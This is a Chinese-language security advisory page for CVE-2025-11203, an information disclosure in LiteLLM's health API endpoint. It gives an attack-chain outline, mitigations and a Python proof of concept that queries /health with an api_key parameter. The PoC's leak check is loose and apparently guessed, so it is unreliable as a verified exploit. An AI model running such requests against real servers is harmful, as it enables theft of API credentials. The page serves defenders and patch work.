IPBUF安全漏洞报告
English
CVE-2025-11203 CVSS 3.5 低危

CVE-2025-11203 LiteLLM health API信息泄露漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-11203
漏洞类型
信息泄露
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
LiteLLM

相关标签

CVE-2025-11203LiteLLM信息泄露API密钥泄露ZDI-CAN-26585健康检查API凭证泄露低危漏洞

漏洞概述

CVE-2025-11203是LiteLLM中的一个信息泄露漏洞,CVSS评分3.5,严重等级为低危。该漏洞于2025年10月29日披露,由Trend Micro Zero Day Initiative(ZDI)发现,编号为ZDI-CAN-26585。漏洞源于LiteLLM的health API endpoint在处理API_KEY参数时,未能正确保护敏感信息,导致认证用户可以通过特定请求获取存储的API密钥等凭证信息。攻击者需要具有低权限认证并诱骗用户进行交互操作才能利用此漏洞,成功利用可导致敏感凭证泄露,进而可能造成更大范围的系统 compromise。该漏洞主要影响LiteLLM的机密性,低权限攻击者可以获取原本无权访问的敏感信息。

技术细节

该漏洞存在于LiteLLM的health endpoint中,具体问题在于处理API_KEY参数时的信息泄露机制。当认证用户向health API发送包含API_KEY参数的请求时,系统会返回与该API密钥相关的敏感信息。漏洞的根本原因是health endpoint在响应中包含了完整的API密钥或其他认证凭证,而不仅仅是健康检查状态信息。攻击者需要:1)拥有LiteLLM的低权限账户;2)构造特定的health API请求,包含API_KEY参数;3)诱骗已认证用户触发该请求或利用已建立的会话。由于UI:R(需要用户交互)的要求,攻击通常需要结合社会工程学手段。获取的API密钥可用于进一步横向移动或访问其他关联服务。修复版本为1.63.14-stable(参考docs.litellm.ai/release_notes/v1.63.14-stable)。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标LiteLLM实例,探测health endpoint的存在性和可访问性
STEP 2
步骤2
初始访问:攻击者获取LiteLLM的低权限账户或通过社会工程学手段获取有效的认证会话
STEP 3
步骤3
构造恶意请求:攻击者构造包含API_KEY参数的health API请求,触发信息泄露漏洞
STEP 4
步骤4
信息获取:发送请求后,攻击者接收到包含敏感凭证(如API密钥)的响应
STEP 5
步骤5
横向移动:利用获取的API密钥访问其他关联服务或执行特权操作
STEP 6
步骤6
持久化:攻击者可能使用获取的凭证建立持久化访问,实现长期控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11203 PoC - LiteLLM Health API Information Disclosure # Reference: ZDI-CAN-26585 import requests import json TARGET_URL = "http://target-litellm-server:4000" API_KEY = "your-authenticated-api-key" # Attacker needs low-privilege auth def exploit_cve_2025_11203(): """ Exploit for LiteLLM Information Disclosure via Health API This PoC demonstrates how API_KEY parameter leaks sensitive credentials """ headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } # The vulnerable endpoint - health API with API_KEY parameter vulnerable_endpoint = f"{TARGET_URL}/health" # Crafted request that triggers information disclosure # The API_KEY parameter in query causes sensitive data to be returned params = { "api_key": "test", # This parameter triggers the leak "suppress": "false" } try: response = requests.get( vulnerable_endpoint, headers=headers, params=params, verify=False, timeout=10 ) print(f"Status Code: {response.status_code}") print(f"Response Headers: {json.dumps(dict(response.headers), indent=2)}") print(f"Response Body: {json.dumps(response.json(), indent=2)}") # Check if sensitive information is leaked in response if "api_key" in response.text.lower() or "key" in response.text.lower(): print("[+] SUCCESS: Sensitive information disclosure detected!") print("[+] Extracted credentials may be used for further attacks") return True else: print("[-] No obvious information disclosure detected") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-11203 LiteLLM Information Disclosure PoC") print("=" * 60) exploit_cve_2025_11203()

影响范围

LiteLLM < 1.63.14-stable

防御指南

临时缓解措施
立即将LiteLLM升级到1.63.14-stable或最新稳定版本。如果无法立即升级,可采取以下临时缓解措施:1)在API网关或反向代理层面过滤health endpoint的API_KEY参数;2)限制health endpoint的访问权限,仅允许受信任的IP地址访问;3)实施额外的身份验证层;4)监控并告警异常的health API请求;5)考虑使用WAF规则检测和阻止针对该漏洞的探测行为。同时建议审查现有API密钥的使用情况,必要时轮换可能已泄露的凭证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表